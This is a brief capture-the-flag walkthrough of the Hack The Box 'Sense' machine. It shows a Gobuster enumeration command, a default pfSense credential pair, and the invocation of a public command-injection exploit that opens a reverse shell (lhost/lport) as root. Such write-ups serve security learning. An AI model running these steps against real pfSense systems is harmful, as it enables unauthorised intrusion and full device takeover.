Hack The Box Sense Machine Walkthrough — shaggy

Description: Hey everyone, I’m sharing the walkthrough for the Sense machine on Hack The Box. Let’s solve it together. 🍾 🙌 🎉

We kick things off with an Nmap scan and confirm a web application is running.

We’re greeted by the pfSense login page. I attempted to bypass the login but had no luck, so I looked for default credentials.

A quick search on the official pfSense documentation gave me the defaults, but they didn’t work either.

We run Gobuster checking for .php, .txt, and .html extensions.

1gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -x php,txt,html

We find system-users.txt, which reveals the username rohit and hints at using the default password.

1username: rohitpassword: pfsense

We’re in. The pfSense dashboard loads.

A quick Searchsploit lookup finds a command injection vulnerability: pfSense < 2.1.4 — ‘status_rrd_graph_img.php’ Command Injection . Let’s use it.

We download the exploit and fill in the target details.

1python3 43560.py --rhost 10.10.10.60 --lhost <IP>--lport 3232 --username rohit --password pfsense

We land directly as root. Time to grab both flags and wrap up the machine.

Thanks for reading, happy hacking! :)